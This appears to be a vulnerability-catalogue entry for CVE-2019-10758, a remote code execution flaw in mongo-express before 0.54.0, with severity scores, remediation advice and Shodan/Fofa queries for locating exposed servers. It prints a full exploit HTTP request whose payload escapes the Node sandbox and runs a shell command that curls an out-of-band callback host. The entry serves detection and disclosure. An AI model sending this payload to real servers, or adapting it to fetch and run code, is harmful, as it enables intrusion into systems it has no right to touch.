| Title | mongo-express Remote Code Execution |
|---|---|
| Author | princechaddha |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Upgrade mongo-express to version 0.54.0 or higher. |
| CVSS Score | 9.9 |
| EPSS Score | 0.94062 |
| CVE ID | CVE-2019-10758 |
| Shodan Query | http.title:"Mongo Express"http.title:"mongo express" |
| Fofa Query | title="mongo express" |
| Tags | cve cve2019 vulhub mongo mongo-express kev mongo-express_project node.js vkev vuln |
mongo-express before 0.54.0 is vulnerable to remote code execution via endpoints that uses the toBSON method and misuse the vm dependency to perform exec commands in a non-safe environment.
POST /checkValid HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.36 (KHTML, like Gecko) Version/8.0 Safari/537.36
Connection: close
Content-Length: 156
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl d5jp6chle0o175469j9gg5xf3xsg3e9bo.oast.online")
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-10758.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-10758.pcap
N/AN/A